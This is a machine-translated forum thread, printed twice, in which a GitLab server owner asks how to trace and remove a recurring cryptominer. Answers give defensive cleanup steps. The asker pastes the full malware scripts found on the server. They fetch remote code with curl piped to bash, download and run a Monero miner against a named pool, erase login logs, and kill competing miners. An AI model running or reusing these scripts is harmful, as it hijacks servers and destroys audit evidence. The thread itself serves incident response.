如何跟踪 ubuntu 服务器上的恶意软件起源并阻止它
How to to trace malware orignation on ubuntu server and stop it
我有一个带有自托管 giltab-ce 的 ubuntu 服务器,两天前我的服务器开始使用 400% CPU。
我的托管服务提供商建议我更新我的 Gitlab(版本 13.6.1),我更新到 13.9。
尽管如此,仍然有一些进程正在启动 运行 并且使用的数量超过所有 CPU.
一开始,我认为这是问题所在(因为托管服务提供商将此 link 附加到电子邮件中):https://hackerone.com/reports/1154542
然后我看到进程名称是kdevtmpfsi
,然后按照这个问题的所有答案:
仍然没有任何帮助,脚本会在几个小时后定期重新启动。
在 /tmp/.ssh
文件夹中,我找到了一个 redis.sh 脚本,内容如下:
while true
do
killall -q -9 kdevtmpfsi
killall -q -9 kinsing
killall -q -9 xmrig
killall -q -9 xmr
killall -q -9 qwer
pkill -9 kthreaddk
pkill -9 kwolker
pkill -9 mini
pkill -9 kacpi_notifyd
pkill -9 vim
pkill -9 mym
pkill -9 network
pkill -9 .libs
pkill -9 javase
pkill -9 libexec
rm -rf /usr/lib/vmware-vsphere-ui/server/postgres
rm -rf /usr/lib/vmware-vsphere-ui/server/postgres_start.sh
rm -rf /usr/lib/vmware-vsphere-ui/server/kvm.sh
rm -rf /usr/lib/vmware-vsphere-ui/server/elastic.sh
rm -rf $HOME/postgres
rm -rf $HOME/kvm.sh
rm -rf $HOME/elastic.sh
ps aux | grep -v grep | grep 'javaupDates' | awk '{print }' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'givemexyz' | awk '{print }' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'dbused' | awk '{print }' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'kdevtmpfsi' | awk '{print }' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'kinsing' | awk '{print }' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'cpu-force-autoconfig' | awk '{print }' | xargs -i kill -9 {}
ps aux | grep -v grep | grep 'kvm.sh' | awk '{print }' | xargs -i kill -9 {}
ps aux | grep -v grep | grep 'elastic.sh' | awk '{print }' | xargs -i kill -9 {}
ps aux | grep -v grep | grep -v 27.1 | grep -v 222.122 | grep 'wget' | awk '{print }' | xargs -i kill -9 {}
ps aux | grep -v grep | grep -v 27.1 | grep -v 222.122 | grep 'curl' | awk '{print }' | xargs -i kill -9 {}
ps aux | grep -v grep | grep -v 27.1 | grep -v 222.122 | grep 'urlopen' | awk '{print }' | xargs -i kill -9 {}
ps aux | grep -v grep | grep '/var/tmp/.postgres/' | awk '{print }' | xargs -i kill -9 {}
ps aux | grep -v grep | grep 'postgres_start.sh' | awk '{print }' | xargs -i kill -9 {}
ps aux | grep -v grep | grep 'kinsing' | awk '{print }' | xargs -i kill -9 {}
ps aux | grep -v grep | grep 'xmrig' | awk '{print }' | xargs -i kill -9 {}
ps aux | grep -v grep | grep 'xmr' | awk '{print }' | xargs -i kill -9 {}
ps aux | grep -v grep | grep 'kdevtmpfsi' | awk '{print }' | xargs -i kill -9 {}
ps aux | grep -v grep | grep 'kthreaddk' | awk '{print }' | xargs -i kill -9 {}
ps aux | grep -v grep | grep 'kthreaddi' | awk '{print }' | xargs -i kill -9 {}
PROC_NAME=/tmp/system
ProcNumber=`ps -ef |grep -w $PROC_NAME|grep -v grep|wc -l`
if [ $ProcNumber -le 0 ];then
if hash curl 2>/dev/null;then
curl http://135.125.217.87/stl.sh | bash >/dev/null 2>&1 &
else
python -c "import requests;url='http://165.227.239.108/stl.sh';tmp=requests.get(url);open('./static.sh','wb').write(tmp.content)"
bash ./static.sh >/dev/null 2>&1 &
fi
break
fi
done
我删除了那个文件,创建了一个空白文件并只授予了读取权限。
调用此过程的用户是 git
。我停止了 gitlab 并删除了 git 用户。
你能告诉我下一步该怎么做吗?我想了解的是创建这些文件和 cronjobs 的过程。
我正在尝试所有方法,但几个小时后问题就出现了 returns。下次 returns 应该注意什么?
编辑:我发现了另一个文件,我认为它正在下载我粘贴在上面的文件。
dan@dan:~/$ cat stl.sh
rm -rf /var/tmp/*
rm -rf /tmp/*
killall -q -9 /var/tmp/.postgres/*
ps aux | grep -v grep | grep 'runnerbus' | awk '{print }' | xargs -i kill -9 {}
rm -rf /var/tmp/.postgres
rm -rf /tmp/.*
rm -rf /var/tmp/.*
rm -rf /etc/cron.hourly/oanacroner
rm -rf /etc/cron.hourly/oanacrona
rm -rf /etc/cron.daily/oanacroner
rm -rf /etc/cron.daily/oanacrona
rm -rf /etc/cron.monthly/oanacroner
rm -rf xmrig-6.13.1/
rm -rf xmrig-6.13.1-linux-x64.tar.gz
rm -rf $HOME/moneroocean/
rm -rf /var/tmp/moneroocean/
rm -rf /root/moneroocean/
rm -rf $HOME/c3pool/
rm -rf /tmp/.tmp/xlog
rm -rf /var/tmp/.postgres
rm -rf /tmp/kwolker
rm -rf /tmp/kdevtmpfsi
rm -rf /tmp/kinsing
rm -rf /tmp/libexec
rm -rf /tmp/mym
rm -rf /usr/bin/kinsing*
rm -rf /etc/cron.d/kinsing*
ps aux | grep -v grep | grep 'postgres_start.sh' | awk '{print }' | xargs -i kill -9 {}
ps aux | grep -v grep | grep '/var/tmp/.postgres_start/postgres_start.sh' | awk '{print }' | xargs -i kill -9 {}
killall -q -9 workrun.sh
killall -q -9 /tmp/kwolker
killall -q -9 /tmp/mym
killall -q -9 xmr
killall -q -9 kdevtmpfsi
killall -q -9 kinsing
killall -q -9 xmrig
killall -q -9 minerd
killall -q -9 minerd
killall -q -9 xig
killall -q -9 cpuminer
pkill -9 kworker
pkill -9 kwolker
pkill -9 mym
sleep 1
if hash curl 2>/dev/null;then
echo "has curl 1"
curl --progress-bar http://135.125.217.87/static.c -o /tmp/system
else
echo "haven't curl 1"
python -c "import requests;url='http://135.125.217.87/static.c';tmp=requests.get(url);open('./system','wb').write(tmp.content)"
fi
chmod +x /tmp/system
mkdir /tmp/.ssh
echo > /var/log/wtmp
echo > /var/log/lastlog
echo > /var/log/utmp
cat /dev/null > /var/log/secure
cat /dev/null > /var/log/message
sed -i '/107.191.63.34/'d /var/log/messages
sed -i 's/107.191.63.34/127.0.0.1/g' secure
/tmp/system -o 207.38.87.6:3333 -p $HOSTNAME -k -B --cpu-priority 5 -l /tmp/.ssh/xlog --randomx-1gb-pages >/dev/null 2>&1
sleep 1
if hash curl 2>/dev/null;then
echo "has curl 2"
curl http://135.125.217.87/stlalive.sh -o /tmp/.ssh/redis.sh
else
mkdir /tmp/.ssh
echo "haven't curl 2"
python -c "import requests;url='http://135.125.217.87/stlalive.sh';tmp=requests.get(url);open('/tmp/.ssh/redis.sh','wb').write(tmp.content)"
fi
sleep 1
chmod +x /tmp/.ssh/redis.sh
nohup /tmp/.ssh/redis.sh >/dev/null 2>&1 &
rm -rf ./run.sh
我删除了这个文件,创建了一个同名的新文件,只能读取。然后我停止了 git 的所有进程,再次删除了 git 用户。重新配置 gitlab。已经 10 小时没有其他攻击了。
我最近遇到了这个问题。
搜索是否有任何用户正在执行任何计划任务。
您可以使用以下命令执行此操作:
for user in $(cut -f1 -d: /etc/passwd); do echo "> User: " $user; crontab -u $user -l; done
如果您注意到 git 用户有任务,请检查它是什么,如果可疑,请将其删除。
也可以查看git用户的.bashrc文件,是否有执行dbused命令的行
我们也遇到了这个问题,请先将您的 GitLab 更新到以下版本之一:
13.10.3
13.9.6
13.8.8
之后清理与 git
用户连接的 crontab 并删除位于 /tmp
文件夹中的 git
用户拥有的所有文件。
现在你可以重启服务器了,应该没问题:)
这是我找到的解决方案:
我注意到进程 kthreaddk
导致服务器负载过重
我了解到这个恶意软件是一个加密货币矿工。
所有者是 git,我的系统因 gitlab 中的漏洞而受到攻击。
有很多 运行 个 kthreaddk 实例。当我杀死他们时,他们很快就会重生。我调查了这是如何发生的,发现恶意软件正在随机文件夹中创建自身的副本(可执行文件),并创建一个每秒为 git 用户触发的 cronjob。因此,当您终止进程时,它们会在一秒钟内自动重生。如果删除 cronjob,运行 进程(已在内存中)会在 cronjob 中创建另一个任务。
我找到的解决方案是将以下行放入批处理文件中,如 remove-malware.sh,使其可由 运行 [=11 执行=] 并通过 ./remove-malware.sh
:
执行
sudo kilall -u git
sudo crontab -u git -r
第一行终止了 started/belonging 到 git 用户的所有进程。
第二行删除 git 用户的所有 cronjobs。
但是要小心!如果您有关键进程 运行(属于 git 用户),它们将被终止。 git 用户的任何 cronjob 都将被清除。
我想对 Uxie 的回答进行补充。
你可以去https://yourgitlabsite/help
检查你的Gitlab版本是否安全。这里的“update asap”是指你应该尽快更新你的Gitlab。
我有一个带有自托管 giltab-ce 的 ubuntu 服务器,两天前我的服务器开始使用 400% CPU。 我的托管服务提供商建议我更新我的 Gitlab(版本 13.6.1),我更新到 13.9。 尽管如此,仍然有一些进程正在启动 运行 并且使用的数量超过所有 CPU.
一开始,我认为这是问题所在(因为托管服务提供商将此 link 附加到电子邮件中):https://hackerone.com/reports/1154542
然后我看到进程名称是kdevtmpfsi
,然后按照这个问题的所有答案:
仍然没有任何帮助,脚本会在几个小时后定期重新启动。
在 /tmp/.ssh
文件夹中,我找到了一个 redis.sh 脚本,内容如下:
while true
do
killall -q -9 kdevtmpfsi
killall -q -9 kinsing
killall -q -9 xmrig
killall -q -9 xmr
killall -q -9 qwer
pkill -9 kthreaddk
pkill -9 kwolker
pkill -9 mini
pkill -9 kacpi_notifyd
pkill -9 vim
pkill -9 mym
pkill -9 network
pkill -9 .libs
pkill -9 javase
pkill -9 libexec
rm -rf /usr/lib/vmware-vsphere-ui/server/postgres
rm -rf /usr/lib/vmware-vsphere-ui/server/postgres_start.sh
rm -rf /usr/lib/vmware-vsphere-ui/server/kvm.sh
rm -rf /usr/lib/vmware-vsphere-ui/server/elastic.sh
rm -rf $HOME/postgres
rm -rf $HOME/kvm.sh
rm -rf $HOME/elastic.sh
ps aux | grep -v grep | grep 'javaupDates' | awk '{print }' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'givemexyz' | awk '{print }' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'dbused' | awk '{print }' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'kdevtmpfsi' | awk '{print }' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'kinsing' | awk '{print }' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'cpu-force-autoconfig' | awk '{print }' | xargs -i kill -9 {}
ps aux | grep -v grep | grep 'kvm.sh' | awk '{print }' | xargs -i kill -9 {}
ps aux | grep -v grep | grep 'elastic.sh' | awk '{print }' | xargs -i kill -9 {}
ps aux | grep -v grep | grep -v 27.1 | grep -v 222.122 | grep 'wget' | awk '{print }' | xargs -i kill -9 {}
ps aux | grep -v grep | grep -v 27.1 | grep -v 222.122 | grep 'curl' | awk '{print }' | xargs -i kill -9 {}
ps aux | grep -v grep | grep -v 27.1 | grep -v 222.122 | grep 'urlopen' | awk '{print }' | xargs -i kill -9 {}
ps aux | grep -v grep | grep '/var/tmp/.postgres/' | awk '{print }' | xargs -i kill -9 {}
ps aux | grep -v grep | grep 'postgres_start.sh' | awk '{print }' | xargs -i kill -9 {}
ps aux | grep -v grep | grep 'kinsing' | awk '{print }' | xargs -i kill -9 {}
ps aux | grep -v grep | grep 'xmrig' | awk '{print }' | xargs -i kill -9 {}
ps aux | grep -v grep | grep 'xmr' | awk '{print }' | xargs -i kill -9 {}
ps aux | grep -v grep | grep 'kdevtmpfsi' | awk '{print }' | xargs -i kill -9 {}
ps aux | grep -v grep | grep 'kthreaddk' | awk '{print }' | xargs -i kill -9 {}
ps aux | grep -v grep | grep 'kthreaddi' | awk '{print }' | xargs -i kill -9 {}
PROC_NAME=/tmp/system
ProcNumber=`ps -ef |grep -w $PROC_NAME|grep -v grep|wc -l`
if [ $ProcNumber -le 0 ];then
if hash curl 2>/dev/null;then
curl http://135.125.217.87/stl.sh | bash >/dev/null 2>&1 &
else
python -c "import requests;url='http://165.227.239.108/stl.sh';tmp=requests.get(url);open('./static.sh','wb').write(tmp.content)"
bash ./static.sh >/dev/null 2>&1 &
fi
break
fi
done
我删除了那个文件,创建了一个空白文件并只授予了读取权限。
调用此过程的用户是 git
。我停止了 gitlab 并删除了 git 用户。
你能告诉我下一步该怎么做吗?我想了解的是创建这些文件和 cronjobs 的过程。
我正在尝试所有方法,但几个小时后问题就出现了 returns。下次 returns 应该注意什么?
编辑:我发现了另一个文件,我认为它正在下载我粘贴在上面的文件。
dan@dan:~/$ cat stl.sh
rm -rf /var/tmp/*
rm -rf /tmp/*
killall -q -9 /var/tmp/.postgres/*
ps aux | grep -v grep | grep 'runnerbus' | awk '{print }' | xargs -i kill -9 {}
rm -rf /var/tmp/.postgres
rm -rf /tmp/.*
rm -rf /var/tmp/.*
rm -rf /etc/cron.hourly/oanacroner
rm -rf /etc/cron.hourly/oanacrona
rm -rf /etc/cron.daily/oanacroner
rm -rf /etc/cron.daily/oanacrona
rm -rf /etc/cron.monthly/oanacroner
rm -rf xmrig-6.13.1/
rm -rf xmrig-6.13.1-linux-x64.tar.gz
rm -rf $HOME/moneroocean/
rm -rf /var/tmp/moneroocean/
rm -rf /root/moneroocean/
rm -rf $HOME/c3pool/
rm -rf /tmp/.tmp/xlog
rm -rf /var/tmp/.postgres
rm -rf /tmp/kwolker
rm -rf /tmp/kdevtmpfsi
rm -rf /tmp/kinsing
rm -rf /tmp/libexec
rm -rf /tmp/mym
rm -rf /usr/bin/kinsing*
rm -rf /etc/cron.d/kinsing*
ps aux | grep -v grep | grep 'postgres_start.sh' | awk '{print }' | xargs -i kill -9 {}
ps aux | grep -v grep | grep '/var/tmp/.postgres_start/postgres_start.sh' | awk '{print }' | xargs -i kill -9 {}
killall -q -9 workrun.sh
killall -q -9 /tmp/kwolker
killall -q -9 /tmp/mym
killall -q -9 xmr
killall -q -9 kdevtmpfsi
killall -q -9 kinsing
killall -q -9 xmrig
killall -q -9 minerd
killall -q -9 minerd
killall -q -9 xig
killall -q -9 cpuminer
pkill -9 kworker
pkill -9 kwolker
pkill -9 mym
sleep 1
if hash curl 2>/dev/null;then
echo "has curl 1"
curl --progress-bar http://135.125.217.87/static.c -o /tmp/system
else
echo "haven't curl 1"
python -c "import requests;url='http://135.125.217.87/static.c';tmp=requests.get(url);open('./system','wb').write(tmp.content)"
fi
chmod +x /tmp/system
mkdir /tmp/.ssh
echo > /var/log/wtmp
echo > /var/log/lastlog
echo > /var/log/utmp
cat /dev/null > /var/log/secure
cat /dev/null > /var/log/message
sed -i '/107.191.63.34/'d /var/log/messages
sed -i 's/107.191.63.34/127.0.0.1/g' secure
/tmp/system -o 207.38.87.6:3333 -p $HOSTNAME -k -B --cpu-priority 5 -l /tmp/.ssh/xlog --randomx-1gb-pages >/dev/null 2>&1
sleep 1
if hash curl 2>/dev/null;then
echo "has curl 2"
curl http://135.125.217.87/stlalive.sh -o /tmp/.ssh/redis.sh
else
mkdir /tmp/.ssh
echo "haven't curl 2"
python -c "import requests;url='http://135.125.217.87/stlalive.sh';tmp=requests.get(url);open('/tmp/.ssh/redis.sh','wb').write(tmp.content)"
fi
sleep 1
chmod +x /tmp/.ssh/redis.sh
nohup /tmp/.ssh/redis.sh >/dev/null 2>&1 &
rm -rf ./run.sh
我删除了这个文件,创建了一个同名的新文件,只能读取。然后我停止了 git 的所有进程,再次删除了 git 用户。重新配置 gitlab。已经 10 小时没有其他攻击了。
我最近遇到了这个问题。
搜索是否有任何用户正在执行任何计划任务。
您可以使用以下命令执行此操作:
for user in $(cut -f1 -d: /etc/passwd); do echo "> User: " $user; crontab -u $user -l; done
如果您注意到 git 用户有任务,请检查它是什么,如果可疑,请将其删除。
也可以查看git用户的.bashrc文件,是否有执行dbused命令的行
我们也遇到了这个问题,请先将您的 GitLab 更新到以下版本之一:
13.10.3
13.9.6
13.8.8
之后清理与 git
用户连接的 crontab 并删除位于 /tmp
文件夹中的 git
用户拥有的所有文件。
现在你可以重启服务器了,应该没问题:)
这是我找到的解决方案:
我注意到进程 kthreaddk
导致服务器负载过重我了解到这个恶意软件是一个加密货币矿工。
所有者是 git,我的系统因 gitlab 中的漏洞而受到攻击。
有很多 运行 个 kthreaddk 实例。当我杀死他们时,他们很快就会重生。我调查了这是如何发生的,发现恶意软件正在随机文件夹中创建自身的副本(可执行文件),并创建一个每秒为 git 用户触发的 cronjob。因此,当您终止进程时,它们会在一秒钟内自动重生。如果删除 cronjob,运行 进程(已在内存中)会在 cronjob 中创建另一个任务。
我找到的解决方案是将以下行放入批处理文件中,如 remove-malware.sh,使其可由 运行 [=11 执行=] 并通过 ./remove-malware.sh
:
sudo kilall -u git
sudo crontab -u git -r
第一行终止了 started/belonging 到 git 用户的所有进程。 第二行删除 git 用户的所有 cronjobs。
但是要小心!如果您有关键进程 运行(属于 git 用户),它们将被终止。 git 用户的任何 cronjob 都将被清除。
我想对 Uxie 的回答进行补充。
你可以去https://yourgitlabsite/help
检查你的Gitlab版本是否安全。这里的“update asap”是指你应该尽快更新你的Gitlab。